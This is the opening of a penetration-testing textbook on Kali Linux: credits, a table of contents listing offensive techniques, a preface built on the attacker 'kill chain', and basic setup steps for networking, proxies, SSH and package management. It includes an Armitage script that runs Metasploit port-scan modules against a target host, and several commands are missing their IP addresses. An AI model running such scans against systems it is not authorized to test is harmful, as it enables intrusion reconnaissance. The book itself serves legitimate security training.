Mastering Kali Linux for Advanced Penetration Testing

Mastering Kali Linux for Advanced Penetration Testing
Mastering Kali Linux for
Advanced Penetration Testing
A practical guide to testing your network's security with
Kali Linux, the preferred choice of penetration testers
and hackers
Robert W. Beggs
Mastering Kali Linux for Advanced Penetration Testing
Copyright © 2014 Packt Publishing
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First published: June 2014
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Cover image by Robert W. Beggs ([email protected])
Robert W. Beggs
Copy Editors
Tanvi Gaitonde
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Terry P. Cutler
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Danang Heriyadi
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Ashish Pandurang Karpe
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About the Author
Robert W. Beggs is the founder and CEO of Digital Defence, a company
that specializes in preventing and responding to information security incidents.
He has more than 15 years of experience in the technical leadership of security
engagements, including penetration testing of wired and wireless networks,
incident response, and data forensics.
Robert is a strong evangelist of security and is a cofounder of Toronto Area Security
Klatch, the largest known vendor-independent security user group in North America.
He is a member on the advisory board of the SecTor Security Conference as well as
on several academic security programs. He is an enthusiastic security trainer and
has taught graduates, undergraduates, and continuing education students courses
in information security at several Canadian universities.
Robert holds an MBA in Science and Technology from Queen's University and is
a Certified Information Systems Security Professional.
Firstly, and perhaps most importantly, I would like to thank the
developers and supporters of Kali Linux. Together, they have
produced one of the most significant tools for securing networks
and data. I would like to thank the editors and reviewers at Packt
Publishing for their support and seemingly unending patience during
the writing of this book. I promise that the next one will go quicker!
I would also like to thank Brian Bourne and other members of
the Toronto Area Security Klatch. They've given me an incredible
opportunity to learn and share knowledge with the best-ever
community of security geeks.
Throughout the writing of this book, my family has given me both
incredible motivation and support. Thank you Sarah, Alex, and Annika.
And finally, a very special thank you to my mother and father—I can't
remember when I first learned to read—with your encouragement, it
was always just natural to have a book in my hands.
Thank you.
About the Reviewers
Terry P. Cutler is a cyber security expert (a certified ethical hacker) and the
cofounder and chief technology officer of IT security and data defense firm, Digital
Locksmiths Inc. in Montréal, Canada. They protect small businesses, large agencies,
families, and individuals from cyber criminals who victimize an estimated 1.5
million people a day (600,000 on Facebook alone).
He specializes in anticipation, assessment, and prevention of security breaches for
governments, corporations, businesses, and consumers. Having been a certified
ethical hacker, among other things since 2005, he had an opportunity to present in
front of a live audience of 2,500 people and with tens of thousands across the world,
on live and recorded streaming, how a hacker could break into almost any company
with a fake LinkedIn request. You can view this video on his YouTube channel.
Terry has been delivering Internet safety for children, parents, and law
enforcement since 2006. He believes that prevention, street proofing, and
parent-child communication are the most effective ways to prevent a child from
being abducted or falling victim to aggression and exploitation. Giving children
the knowledge and practical skills they need to look after themselves is as
important as teaching them to read and write. You can find out more on this at
He is a frequent contributor to media reportage about cybercrime, spying, security
failures, Internet scams, and the real social network dangers that families and
individuals face every day. He is acknowledged as a transformational leader,
problem solver, and trusted advisor with a genuine talent for fostering positive
and collaborative working relationships at all organizational levels.
Before leaving his job in 2011 to concentrate full time on Digital Locksmiths, Terry
worked for a software giant, Novell. He joined this global software corporation
that specializes in enterprise operating systems and identity, security, and systems
management solutions to provide engineering support to the company's premium
service customers consisting of up to 45,000 users and 600 servers all across the world.
I'd like to take a moment to thank Robert W. Beggs for generously
taking me under his wing as a mentor back in 2004 and guiding
me through the processes and pitfalls of working in this industry.
Now that I've matured as an industry specialist, I'm honored to be
able to share some of my own learning and experiences with Rob
and with his readers.
A very special thanks to my family, my wife, Franca, and our sons,
David and Matthew, for their support, encouragement, patience,
hugs, and unconditional love over the last few years.
Danang Heriyadi is an Indonesian computer security researcher, specialized
in reverse engineering and software exploitation with more than five years of
hands-on experience.
He is currently working at Hatsecure as an instructor for Advanced Exploit and
Shellcode Development. As a researcher, he loves to share IT security knowledge
through his blog at Fuzzerbyte (
I would like to thank my parents for giving me life; without them,
I wouldn't be here today; my girlfriend, for supporting me every
day with her smile and love; and my friends, whom I have no words
to describe.
Tajinder Singh Kalsi is the cofounder and a technical evangelist at Virscent
Technologies Pvt. Ltd., with more than six years of working experience in the field
of IT. He commenced his career with Wipro as a technical associate and later became
an IT consultant and trainer. As of now, he conducts seminars in colleges across
India on topics such as information security, Android application development,
website development, and cloud computing. At this point, he has covered more than
120 colleges and more than 9,000 students. Apart from imparting training, he also
maintains a blog (, which explains various hacking tricks.
He has earlier reviewed Web Penetration Testing with Kali Linux, Joseph Muniz and
Aamir Lakhani, Packt Publishing.
He can be found on Facebook at or you
can follow him on his website at
I would like to thank the team of Packt Publishing for approaching
me through my blog and offering me this opportunity again. I would
also like to thank my family and close friends for all the support they
have given while I was working on this project.
Amit Pandurang Karpe works for FireEye, Inc., a global information security
company, as a support engineer supporting their Asia Pacific customers. He stays
in Singapore with his wife, Swatee, and son, Sparsh. He has been active in the open
source community from his college days, especially in Pune, where he was able to
organize various activities with the help of vibrant and thriving communities, such
as PLUG, TechPune, IT-Milan, and Embedded Nirvana. He writes blog posts about
technologies at
He has worked on Rapid BeagleBoard Prototyping with MATLAB and Simulink,
Dr. Xuewu Dai and Dr. Fei Qin, Packt Publishing. Currently, he is working on Building
Virtual Pentesting Labs for Advanced Penetration Testing, Kevin Cardwell and Kali Linux
CTF Blueprints, Cam Buchanan, both by Packt Publishing.
I would like to thank the open source community, without whom
I couldn't have succeeded. A special thanks to the visionaries behind
Kali Linux, who believed in open source and led by providing
various examples. Also, many thanks to the community members
and information security experts, who keep doing a great job, which
makes Kali Linux a success.
I would like to thank the Packt Publishing team, editors, and the
project coordinator, who kept doing the right things so that I was
able to perform my job to the best of my abilities.
I would like to thank Pune Linux Users Group (PLUG), Embedded
Nirvana group, and VSS friends, because of whom I was able to
work on this project. I would also like to thank all my gurus, who
helped me and guided me in this field—Dr. Vijay Gokhale, Sunil
Dhadve, Sudhanwa Jogalekar, Bharathi Subramanian, Mohammed
Khasim, and Niyam Bhushan.
Finally, I would like to thank my family, my mother, my father, my
brother, my son, and my wife, Swatee, without whose continuous
support I could not have given my best efforts to this project.
Ashish Pandurang Karpe works as a system support associate with
CompuCom-CSI Systems India Pvt. Ltd. He has been active in the open source
community from his college days, where he was able to organize various activities
with the help of vibrant and thriving communities such as PLUG and VITLUG.
I would first like to thank the open source community, without
whose help, I wouldn't have been able to be here. I would like to
thank my family, that is, Anuradha (mother), Pandurang (father),
Sparsh (nephew), Amit (brother), and Swatee (sister-in-law). I
would like to thank the Packt Publishing team, editors, and project
coordinator who kept on doing the right things so that I was able to
perform my job to the best of my abilities.
I would like thank Pune GNU/Linux Users Group (PLUG). I would
also like to thank my guru, who helped me and guided me in this
field—Dr. Vijay Gokhale.
Kunal Sehgal has been a part of the IT security industry since 2006 after
specializing in Cyberspace security from Georgian College, Canada. He has been
associated with various financial organizations. This has not only equipped him with
an experience at a place where security is crucial, but it has also provided him with
valuable expertise in this field. He can be reached at
Kunal currently heads IT security operations for the APAC region of one of the
largest European banks. He has accumulated experience in diverse functions,
ranging from vulnerability assessment to security governance and from risk
assessment to security monitoring. A believer of keeping himself updated with the
latest happenings in his field, he contributes to books, holds workshops, and writes
blogs, all to promote security. He also holds a number of certifications to his name,
including Backtrack's very own OSCP, and others such as CISSP, TCNA, CISM,
CCSK, Security+, Cisco Router Security, ISO 27001 LA, and ITIL.
I am a big supporter of the Backtrack project (now Kali), and first
and foremost, I would like to thank their core team. Most specifically,
I thank muts; without his training and personal attention, I may not
have been able to get hooked to it. On the personal front, I thank
my loving family (parents, brother, and wife) for their never-ending
support and belief in me. I have neglected them, more than I like to
admit, just to spend time in the cyber world.
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Table of Contents
Part 1: The Attacker's Kill Chain
Chapter 1: Starting with Kali Linux
Kali Linux
Configuring network services and secure communications
Adjusting network proxy settings
Securing communications with Secure Shell
Updating Kali Linux
The Debian package management system
Packages and repositories
Using Advanced Packaging Tools
Configuring and customizing Kali Linux
Resetting the root password
Adding a non-root user
Speeding up Kali operations
Sharing folders with Microsoft Windows
Creating an encrypted folder with TrueCrypt
Managing third-party applications
Installing third-party applications
Running third-party applications with non-root privileges
Effective management of penetration tests
Table of Contents
Chapter 2: Identifying the Target – Passive Reconnaissance
Basic principles of reconnaissance
Open Source intelligence
DNS reconnaissance and route mapping
DNS reconnaissance
Mapping the route to the target
Obtaining user information
Gathering names and e-mail addresses
Profiling users for password lists
Chapter 3: Active Reconnaissance and Vulnerability Scanning
Chapter 4: Exploit
Stealth scanning strategies
Adjusting source IP stack and tool identification settings
Modifying packet parameters
Using proxies with anonymity networks (Tor and Privoxy)
Identifying the network infrastructure
Enumerating hosts
Live host discovery
Port, operating system, and service discovery
Port scanning
Fingerprinting the operating system
Determining active services
Employing comprehensive reconnaissance applications
The recon-ng framework
Vulnerability scanning
Threat modeling
Using online and local vulnerability resources
The Metasploit Framework
Exploiting a vulnerable application
Exploiting multiple targets with Armitage
Team testing with Armitage
Scripting the Armitage attack
Bypassing IDs and antivirus detection
[ ii ]
Table of Contents
Chapter 5: Post Exploit – Action on the Objective
Chapter 6: Post Exploit – Persistence
Bypassing Windows User Account Control
Conducting a rapid reconnaissance of a compromised system
Using the WMIC scripting language
Finding and taking sensitive data – pillaging the target
Creating additional accounts
Using Metasploit for post-exploit activities
Escalating user privileges on a compromised host
Replaying authentication tokens using incognito
Manipulating access credentials with Windows Credential Editor
Escalating from Administrator to SYSTEM
Accessing new accounts with horizontal escalation
Covering your tracks
Compromising the existing system and application files
for remote access
Remotely enabling the Telnet service
Remotely enabling Windows Terminal Services
Remotely enabling Virtual Network Computing
Using persistent agents
Employing Netcat as a persistent agent
Maintaining persistence with the Metasploit Framework
Using the metsvc script
Using the persistence script
Creating a standalone persistent agent with Metasploit
Redirecting ports to bypass network controls
Example 1 – simple port redirection
Example 2 – bidirectional port redirection
Part 2: The Delivery Phase
Chapter 7: Physical Attacks and Social Engineering
Social Engineering Toolkit
Spear Phishing Attack
Using a website attack vector – Java Applet Attack Method
Using a website attack vector – Credential Harvester Attack Method
Using a website attack vector – Tabnabbing Attack Method
Using a website attack vector - Multi-Attack Web Method
[ iii ]
Table of Contents
Using the PowerShell alphanumeric shellcode injection attack
Hiding executables and obfuscating the attacker's URL
Escalating an attack using DNS redirection
Physical access and hostile devices
Raspberry Pi attack vectors
Chapter 8: Exploiting Wireless Communications
Chapter 9: Reconnaissance and Exploitation
of Web-based Applications
Chapter 10: Exploiting Remote Access Communications
Configuring Kali for wireless attacks
Wireless reconnaissance
Bypassing a Hidden Service Set Identifier
Bypassing the MAC address authentication
Compromising a WEP encryption
Attacking WPA and WPA2
Brute-force attacks
Attacking wireless routers with Reaver
Cloning an access point
Denial-of-service attacks
Conducting reconnaissance of websites
Vulnerability scanners
Extending the functionality of traditional vulnerability scanners
Extending the functionality of web browsers
Web-service-specific vulnerability scanners
Testing security with client-side proxies
Server exploits
Application-specific attacks
Brute-forcing access credentials
Injection attacks against databases
Maintaining access with web backdoors
Exploiting operating system communication protocols
Compromising Remote Desktop Protocol
Compromising Secure Shell
Exploiting third-party remote access applications
[ iv ]
Table of Contents
Attacking Secure Sockets Layer
Configuring Kali for SSLv2 scanning
Reconnaissance of SSL connections
Using sslstrip to conduct a man-in-the-middle attack
Denial-of-service attacks against SSL
Attacking an IPSec Virtual Private Network
Scanning for VPN gateways
Fingerprinting the VPN gateway
Capturing pre-shared keys
Performing offline PSK cracking
Identifying default user accounts
Chapter 11: Client-side Exploitation
Appendix: Installing Kali Linux
Attacking a system using hostile scripts
Conducting attacks using VBScript
Attacking systems using Windows PowerShell
The Cross-Site Scripting Framework
The Brower Exploitation Framework – BeEF
Installing and configuring the Browser Exploitation Framework
A walkthrough of the BeEF browser
Integrating BeEF and Metasploit attacks
Using BeEF as a tunneling proxy
Downloading Kali Linux
Basic Installation of Kali Linux
Installing Kali Linux to a virtual machine
Full disk encryption and nuking the master key
Setting up a test environment
Vulnerable operating systems and applications
This book is dedicated to the use of Kali Linux in performing penetration tests
against networks. A penetration test simulates an attack against a network or
a system by a malicious outsider or insider. Unlike a vulnerability assessment,
penetration testing is designed to include the exploitation phase. Therefore, it proves
that the exploit is present, and that it is accompanied by the very real risk of being
compromised if not acted upon.
Throughout this book, we will refer to "penetration testers,"
"attackers," and "hackers" interchangeably as they use the same
techniques and tools to assess the security of networks and
data systems. The only difference between them is their end
objective—a secure data network, or a data breach.
Most testers and attackers follow an informal, open source, or proprietary-defined
testing methodology that guides the testing process. There are certain advantages of
following a methodology:
• A methodology identifies parts of the testing process that can be automated
(for example, a tester may always use a ping sweep to identify potential
targets; therefore, this can be scripted), allowing the tester to focus on
creative techniques to find and exploit vulnerabilities
• The results are repeatable, allowing them to be compared over time or to
cross-validate one tester's results against another, or to determine how the
security of the target has improved (or not!) over time
• A defined methodology is predictable in terms of time and personnel
requirements, allowing costs to be controlled and minimized
• A methodology that has been preapproved by the client, protects the tester
against liability in the event there is any damage to the network or data
Formal methodologies include the following well-known examples:
• Kevin Orrey's penetration testing framework: This methodology walks
the tester through the sequenced steps of a penetration test, providing
hyperlinks to tools and relevant commands. More information can be found
• Information Systems Security Assessment Framework (ISSAF):
This comprehensive guide aims to be the single source for testing a network.
More information on this can be found at
• NIST SP 800-115, technical guide to information security testing and
assessment: Written in 2008, the four-step methodology is somewhat
outdated. However, it does provide a good overview of the basic steps in
penetration testing. You can get more information at http://csrc.nist.
• Open Source Security Testing Methodology Manual (OSSTMM):
This is one of the older methodologies, and the latest version attempts to
quantify identified risks. More details can be found at
• Open Web Application Security Project (OWASP): This is focused on the
10 most common vulnerabilities in web-based applications. More
information on this can be found at
• Penetration Testing Execution Standard (PTES): Actively maintained,
this methodology is complete and accurately reflects on the activities
of a malicious person. You can get more information at
• Offensive (Web) Testing Framework (OWTF): Introduced in 2012, this is a
very promising direction in combining the OWASP approach with the more
complete and rigorous PTES methodology. More details can be found at
Unfortunately, the use of a structured methodology can introduce weaknesses into
the testing process:
• Methodologies rarely consider why a penetration test is being undertaken, or
which data is critical to the business and needs to be protected. In the absence
of this vital first step, penetration tests lose focus.
• Many penetration testers are reluctant to follow a defined methodology,
fearing that it will hinder their creativity in exploiting a network.
• Penetration testing fails to reflect the actual activities of a malicious attacker.
Frequently, the client wants to see if you can gain administrative access on
a particular system ("Can you root the box?"). However, the attacker may
be focused on copying critical data in a manner that does not require root
access, or cause a denial of service.
To address the limitations inherent in formal testing methodologies, they must
be integrated in a framework that views the network from the perspective of an
attacker, the "kill chain."
The "Kill Chain" approach to
penetration testing
In 2009, Mike Cloppert of Lockheed Martin CERT introduced the concept that is
now known as the "attacker kill chain." This includes the steps taken by an adversary
when they are attacking a network. It does not always proceed in a linear flow as
some steps may occur in parallel. Multiple attacks may be launched over time at the
same target, and overlapping stages may occur at the same time.
In this book, we have modified the Cloppert's kill chain to more accurately reflect
on how attackers apply these steps when exploiting networks and data services.
The following diagram shows a typical kill chain of an attacker:
Passive (indirect)
Active (direct)
Delivery phase
Action on the
A typical kill chain of an attacker can be described as follows:
• Reconnaissance phase – The adage, "reconnaissance time is never wasted
time", adopted by most military organizations acknowledges that it is better
to learn as much as possible about an enemy before engaging them. For the
same reason, attackers will conduct extensive reconnaissance of a target
before attacking. In fact, it is estimated that at least 70 percent of the "work
effort" of a penetration test or an attack is spent conducting reconnaissance!
Generally, they will employ two types of reconnaissance:
Passive reconnaissance – This does not directly interact with the
target in a hostile manner. For example, the attacker will review
the publicly available website(s), assess online media (especially
social media sites), and attempt to determine the "attack surface"
of the target.
One particular task will be to generate a list of past and current
employee names. These names will form the basis of attempts
to brute force, or guessing passwords. They will also be used
in social engineering attacks.
This type of reconnaissance is difficult, if not impossible,
to distinguish from the behavior of regular users.
Active reconnaissance – This can be detected by the target but,
it can be difficult to distinguish most online organizations' faces
from the regular backgrounds.
Activities occurring during active reconnaissance include
physical visits to target premises, port scanning, and remote
vulnerability scanning.
• The delivery phase – Delivery is the selection and development of
the weapon that will be used to complete the exploit during the attack.
The exact weapon chosen will depend on the attacker's intent as well
as the route of delivery (for example, across the network, via wireless,
or through a web-based service). The impact of the delivery phase will
be examined in the second half of this book.
• The exploit or compromise phase – This is the point when a particular
exploit is successfully applied, allowing attackers to reach their objective.
The compromise may have occurred in a single phase (for example, a known
operating system vulnerability was exploited using a buffer overflow),
or it may have been a multiphase compromise (for example, an attacker
physically accessed premises to steal a corporate phone book. The names
were used to create lists for brute force attacks against a portal logon. In
addition, e-mails were sent to all employees to click on an embedded link to
download a crafted PDF file that compromised their computers.). Multiphase
attacks are the norm when a malicious attacker targets a specific enterprise.
• Post exploit: action on the objective – This is frequently, and incorrectly,
referred to as the "exfiltration phase" because there is a focus on perceiving
attacks solely as a route to steal sensitive data (such as login information,
personal information, and financial information); it is common for an attacker
to have a different objective. For example, a business may wish to cause a
denial of service in their competitor's network to drive customers to their
own website. Therefore, this phase must focus on the many possible actions
of an attacker.
One of the most common exploit activity occurs when, the attackers
attempt to improve their access privileges to the highest possible level
(vertical escalation), and to compromise as many accounts as possible
(horizontal escalation).
• Post exploit: persistence – If there is value in compromising a network or
system, then that value can likely be increased if there is persistent access.
This allows attackers to maintain communications with a compromised
system. From a defender's point of view, this is the part of the kill chain that
is usually the easiest to detect.
Kill chains are metamodels of an attacker's behavior when they attempt to compromise
a network or a particular data system. As a metamodel, it can incorporate any
proprietary or commercial penetration testing methodology. Unlike the methodologies,
however, it ensures a strategic-level focus on how an attacker approaches the network.
This focus on the attacker's activities will guide the layout and content of this book.
What this book covers
This book is divided into two parts. In Part 1, The Attacker's Kill Chain, we will follow
the steps of a kill chain, analyzing each phase in detail. In Part 2, The Delivery Phase,
we will focus on the delivery phase and some of the available methodologies to
understand how attacks take place, and how this knowledge can be used to secure
a network.
Chapter 1, Starting with Kali Linux, introduces the reader to the fundamentals of Kali
Linux, and its optimal configuration to support penetration testing.
Chapter 2, Identifying the Target – Passive Reconnaissance, provides a background on
how to gather information about a target using publicly available sources, and the
tools that can simplify the reconnaissance and information management.
Chapter 3, Active Reconnaissance and Vulnerability Scanning, introduces the reader to
stealthy approaches that can be used to gain information about the target, especially
the information that identifies vulnerabilities, which could be exploited.
Chapter 4, Exploit, demonstrates the methodologies that can be used to find and
execute exploits that allow a system to be compromised by an attacker.
Chapter 5, Post Exploit – Action on the Objective, describes how attackers can
escalate their privileges to achieve their objective for compromising the system,
including theft of data, altering data, launching additional attacks, or creating a
denial of service.
Chapter 6, Post Exploit – Persistence, provides a background on how to configure
a compromised system so that the attacker can return at will and continue
post-exploit activities.
Chapter 7, Physical Attacks and Social Engineering, demonstrates why being able to
physically access a system or interact with the humans who manage it provides
the most successful route to exploitation.
Chapter 8, Exploiting Wireless Communications, demonstrates how to take advantage
of common wireless connections to access data networks and isolated systems.
Chapter 9, Reconnaissance and Exploitation of Web-based Applications, provides a
brief overview of one of the most complex delivery phases to secure: web-based
applications that are exposed to the public Internet.
Chapter 10, Exploiting Remote Access Communications, provides an increasingly
important route into systems as more and more organizations adopt distributed
and work-from-home models that rely on remote access communications that are
themselves vulnerable to attack.
Chapter 11, Client-side Exploitation, focuses on attacks against applications on the
end-user's systems, which are frequently not protected to the same degree as the
organization's primary network.
Appendix, Installing Kali Linux, provides an overview of how to install Kali Linux,
and how to employ a whole-disk encryption to avoid an intercept of confidential
testing data.
What you need for this book
In order to practice the material presented in this book, you will need virtualization
tools such as VMware or VirtualBox.
You will need to download and configure the Kali Linux operating system and its
suite of tools. To ensure that it is up-to-date and that you have all of the tools, you
will need access to an Internet connection.
Sadly, not all of the tools on the Kali Linux system will be addressed since there are
too many of them. The focus of this book is not to inundate the reader with all of
the tools and options, but to provide an approach for testing that will give them the
opportunity to learn and incorporate new tools as their experiences and knowledge
change over time.
Although most of the examples from this book focus on Microsoft Windows, the
methodology and most of the tools are transferrable to other operating systems
such as Linux and the other flavors of Unix.
Finally, this book applies Kali to complete the attacker's kill chain against target
systems. You will need a target operating system. Many of the examples in the book
use Microsoft Windows XP. Although it is deprecated as of April 2014, it provides
a "baseline" of standard behavior for many of the tools. If you know how to apply
the methodology to one operating system, you can apply it to more recent operating
systems such as Windows 7 and Windows 8.
Who this book is for
This book is intended for people who want to know more about data security.
In particular, it targets people who want to understand why they use a particular
tool when they do, as opposed to those people who throw as many tools as possible
at a system to see if an exploit will happen. My goal is for the readers to develop their
own method and approach to effective penetration testing, which will allow them to
experiment and learn as they progress. I believe that this approach is the only effective
way to understand how malicious people attack data systems, and therefore, the only
way to understand how to mediate vulnerabilities before they can be exploited.
If you are a security professional, penetration tester, or just have an interest in the
security of complex data environments, this book is for you.
In this book, you will find a number of styles of text that distinguish between
different kinds of information. Here are some examples of these styles, and an
explanation of their meaning.
Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLs, user input, and Twitter handles are shown as follows:
"In this particular case, the VM has been assigned an IP address of"
A block of code is set as follows:
# MSF port scanner
onhost_add {
println("[*] MSF Port Scanner New Host OpenPorts on$1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
Any command-line input or output is written as follows:
[email protected]~# update-rc.d networking defaults
New terms and important words are shown in bold. Words that you see on the
screen, in menus or dialog boxes for example, appear in the text like this: "If you
double-click on the truecrypt1 icon, you will be taken to a File Browser view."
Warnings or important notes appear in a box like this.
Tips and tricks appear like this.
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Part 1
The Attacker's
Kill Chain
Starting with Kali Linux
Identifying the Target – Passive
Active Reconnaissance and
Vulnerability Scanning
Post Exploit – Action on
the Objective
Post Exploit – Persistence
Starting with Kali Linux
Kali Linux (Kali) is the successor to the BackTrack penetration testing platform
which is generally regarded as the de facto standard package of tools used to facilitate
penetration testing to secure data and voice networks. This chapter provides an
introduction to Kali, and focuses on customizing Kali to support some advanced
aspects of penetration testing. By the end of this chapter, you will have learned:
• An overview of Kali
• Configuring network services and secure communications
• Updating Kali
• Customizing Kali
• Extending Kali's functionality with third-party applications
• Effective management of penetration tests
Kali Linux
BackTrack (BT), ( was released to provide an
extensive variety of penetration testing and defensive tools that were perfect for
auditors and network administrators interested in assessing and securing their
networks. The same tools were used by both authorized and unauthorized
(hackers) penetration testers.
The final version of BackTrack, BT 5r3, was released in August 2012. Based on
the Ubuntu Linux platform, it was widely adopted and supported by the security
community. Unfortunately, its file architecture made it difficult to manage the
array of tools and their accompanying dependencies.
Starting with Kali Linux
In BackTrack, all of the tools used for penetration testing were placed in the
/pentest directory. Subfolders such as /web or /database helped to further define
the location of tools. Finding and executing tools within this hierarchy could be
counterintuitive. For example, is sqlninja, which identifies an SQL injection, a web
vulnerability assessment tool, a web exploit tool, or a database exploit tool?
In March 2013, BackTrack was superseded by Kali Linux, which uses a new platform
architecture based on the Debian GNU/Linux operating system.
Debian adheres to the Filesystem Hierarchy Standard (FHS), which is a significant
advantage over BackTrack. Instead of needing to navigate through the /pentest tree,
you can call a tool from anywhere on the system because applications are included in
the system path.
Other features of Kali include the following:
• Support for multiple desktop environments such as Gnome, KDE, LXDE,
and XFCE, and provides multilingual support.
• Debian-compliant tools are synchronized with the Debian repositories
at least four times daily, making it easier to update packages and apply
security fixes.
• Support for ISO customizations, allowing users to build their own versions of
Kali. The bootstrap function also performs enterprise-wide network installs
that can be automated using pre-seed files.
• ARMEL and ARMHF support allows Kali to be installed on devices such as
Raspberry Pi, ODROID-U2/-X2, and the Samsung Chromebook.
• Over 300 penetration testing data forensics and defensive tools are included.
They provide extensive wireless support with kernel patches to permit the
packet injection required by some wireless attacks.
• Kali remains an open source project that is free. Most importantly, it is well
supported by an active online community.
Throughout this book, we'll be using a VMware virtual machine (VM) of 64-bit
Kali (refer to Appendix, Installing Kali Linux for instructions on installing Kali).
A VM is used because it makes it easy to rapidly execute certain applications
in other operating systems, such as Microsoft Windows. In addition, a VM can
be archived with the results from a penetration test, allowing the archive to be
reviewed to determine if a particular vulnerability would have been detected
with the toolset that was used for testing.
[ 16 ]
Chapter 1
When Kali is launched, the user will be taken to the default desktop GUI with a menu
bar at the top and a few simple icons. By selecting the menu item Applications, and
then Kali Linux, the user will gain access to a menu system that contains the Top 10
Security Tools as well as a series of folders, organized in the general order that would
be followed during a penetration test, as shown in the following screenshot:
The menu will be familiar to users of BT 5r3. However, there
are some changes, which include simplified access to network
services and communications.
[ 17 ]
Starting with Kali Linux
Configuring network services and secure
The first step in being able to use Kali is to ensure that it has connectivity to either a
wired or wireless network to support updates and customization.
You may need to obtain an IP address by DHCP (Dynamic Host Configuration
Protocol), or assign one statically. First, confirm your IP address using the ifconfig
command from a terminal window, as shown in the following screenshot:
In this particular case, the VM has been assigned an IP address of
If an IP address was not obtained, an address can be assigned by DHCP using the
command dhclient eth0 (or other available interfaces, which will depend on the
specific configuration of the system being used).
If a static IP address is used, additional information may be required. For example,
you can assign a static IP of as follows:
host IP address:
subnet mask:
default gateway:
DNS server:
[ 18 ]
Chapter 1
Enter a terminal window and enter the following command:
[email protected]:~#
ifonconfig eth0
[email protected]:~#
route add default gw
[email protected]:~#
echo nameserver > /etc/resolv.conf
Changes made to IP settings are nonpersistent, and will be lost when Kali is
rebooted. To make the changes permanent, you will need to edit the /etc/network/
interfaces file, as shown in the following screenshot:
By default, Kali does not start with the DHCP service enabled. Doing so announces
the new IP address on the network, and this may alert administrators about the
presence of the tester. For some test cases, this may not be an issue, and it may be
advantageous to have certain services start automatically during boot up. This can
be achieved by entering the following commands:
[email protected]~# update-rc.d networking defaults
[email protected]~# /etc/init.d/networking restart
Kali installs with network services that can be started or stopped as required,
including DHCP, HTTP, SSH, TFTP, and the VNC server. These services are usually
invoked from the command line, however, some are accessible from the Kali menu.
[ 19 ]
Starting with Kali Linux
Adjusting network proxy settings
Users located behind an authenticated or unauthenticated proxy
connection must modify bash.bashrc and apt.conf. Both files are located in the
/root/etc directory.
1. Edit the bash.bashrc file, as shown in the following screenshot, use a text
editor to add the following lines to the bottom of the bash.bashrc file:
export ftp_proxy="ftp://user:[email protected]:port"
export http_proxy="http://user:[email protected]:port"
export https_proxy="https://user:[email protected]:port"
export socks_proxy="https://user:[email protected]:port"
2. Replace proxyIP and port with your proxy IP address and port number
respectively, and replace the username and password with your
authentication username and password. If there's no need to authenticate,
write only the part following the @ symbol.
3. In the same directory, create the apt.conf file and enter the following
command lines, as shown in the following screenshot:
[ 20 ]
Chapter 1
4. Save and close the file. Log out and then log in to activate the new settings.
Securing communications with Secure Shell
To minimize detection by a target network during testing, Kali does not enable any
externally-listening network services. Some services, such as Secure Shell (SSH),
are already installed. However, they must be enabled prior to use.
Kali comes preconfigured with default SSH keys. Before starting the SSH service,
it's a good idea to disable the default keys and generate a unique keyset for use.
Move the default SSH keys to a backup folder, and then generate a new SSH keyset
using the following command:
dpkg-reconfigure openssh-server
The process of moving the original keys and generating the new keyset is shown in
the following screenshot.
[ 21 ]
Starting with Kali Linux
To verify that the newly generated keys are unique, calculate their md5sum hash
values, and compare with the original keys as shown in the following screenshot.
To start the SSH service using the menu, select Applications | Kali Linux |
System Services | SSHD | SSHD Start.
To start SSH from the command line, use the command line shown in the
following screenshot:
To verify that SSH is running, perform a netstat query, as shown in the
following screenshot:
The SSH daemon is listening on port 22 in the previous example. To stop SSH, use
the following command:
/etc/init.d/ssh stop
[ 22 ]
Chapter 1
Updating Kali Linux
Kali must be patched regularly to ensure that the base operating system and
applications are up-to-date and that security patches have been applied.
The Debian package management system
Debian's package management system relies on discrete bundled applications
called packages. Packages can be installed or removed by the user to customize the
environment, and support tasks such as penetration testing. They can also extend
the functionality of Kali, supporting tasks, such as communications (Skype, instant
messaging, and secure e-mails) or documentation (OpenOffice and Microsoft Office
running under Wine).
Packages are stored in repositories and are downloaded to the system user to ensure
the integrity of the package.
Packages and repositories
By default, Kali uses only the official Kali repositories. It is possible that an
incomplete installation process may not add the repositories to the correct sources.
list file, or that you may wish to extend the available repositories when new
applications are added.
Updating the source.list file can be done from the command line (echo deb kali main contrib non-free >> /etc/apt/
sources.list), or by using a text editor.
The default package repositories that should be present in /etc/apt/sources.list
are listed as follows; if not present, edit the sources.list file to include them:
## Kali
deb kali main contrib non-free
## Kali-dev
deb kali-dev main contrib non-free
## Kali Security updates
deb kali/updates main
contrib non-free
Not every Kali tool is presently maintained in the official tool repositories. If you
choose to update a tool manually, it is possible that you will overwrite existing
packaged files and break dependencies. Therefore, some tools that have not been
officially moved to Debian repositories, such as the aircrack-ng, dnsrecon, sqlmap,
beef-xss, and Social Engineering Toolkit (se-toolkit), are maintained in the Bleeding
Edge repository. This repository may also be added to sources.list using the
following command line:
## Bleeding Edge repository
deb kali kali-bleeding-edge main
[ 23 ]
Starting with Kali Linux
Dpkg is Debian's package management system. This command-line application is
used to install, remove, and query packages. In general, dpkg performs actions on
individual packages.
dpkg is particularly useful in compiling a list of installed
applications in Kali using the command dpkg -l > list.txt.
If you want to know if a specific tool is installed, use dpkg -l |
grep <tool name>.
The following screenshot shows an excerpt of the returned data when dpkg -l is
invoked, providing a list of all applications installed on the Kali distribution; this is
particularly useful in identifying applications that may only be accessible directly
from the command line.
Using Advanced Packaging Tools
Advanced Packaging Tools (APT), extend the functionalities of dkpg by searching
repositories and installing or upgrading packages along with all the required
dependencies. The APT can also be used to upgrade a complete distribution.
The most common apt commands are as follows:
• apt-get update: This is used to resynchronize the local package index
files with their source as defined in /etc/apt/sources.list. The update
command should always be used first, before performing an upgrade or
• apt-get upgrade: This is used to install the newest versions of all packages
installed on the system using /etc/apt/sources.list. Packages that are
installed on Kali with new versions available are upgraded. The upgrade
command will not change or delete packages that are not being upgraded,
and it will not install packages that are not already present.
[ 24 ]
Chapter 1
• apt-get dist-upgrade: This upgrades all packages currently installed on
the system and their dependencies. It also removes obsolete packages from
the system.
The apt-get command can also be used to show a full description of a
package and identify its dependencies (apt-cache show <package name>)
or remove a package (apt-get remove <package name>).
